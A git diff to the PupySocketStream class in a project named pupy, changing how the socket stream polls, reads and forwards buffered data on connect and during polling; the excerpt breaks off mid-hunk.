diff --git a/pupy/network/lib/streams/PupySocketStream.py b/pupy/network/lib/streams/PupySocketStream.py index 5df843cb..890be1b4 100644 --- a/pupy/network/lib/streams/PupySocketStream.py +++ b/pupy/network/lib/streams/PupySocketStream.py @@ -51,9 +51,7 @@ class PupySocketStream(SocketStream): def on_connect(self): self.transport.on_connect() - d=self.downstream.read() - if d: - super(PupySocketStream, self).write(d) + super(PupySocketStream, self).write(self.downstream.read()) def _read(self): try: @@ -73,10 +71,16 @@ class PupySocketStream(SocketStream): self.buf_in.write(BYTES_LITERAL(buf)) def poll(self, timeout): - return super(PupySocketStream, self).poll(timeout) or len(self.upstream)>0 + return len(self.upstream)>0 or self.sock_poll(timeout) def sock_poll(self, timeout): - return super(PupySocketStream, self).poll(timeout) + with self.downstream_lock: + if super(PupySocketStream, self).poll(timeout): + self._read() + self.transport.downstream_recv(self.buf_in) + return True + else: + return False def _upstream_recv(self): """ called as a callback on the downstream.write """ @@ -88,10 +92,8 @@ class PupySocketStream(SocketStream): if len(self.upstream)>=count: return self.upstream.read(count) while len(self.upstream)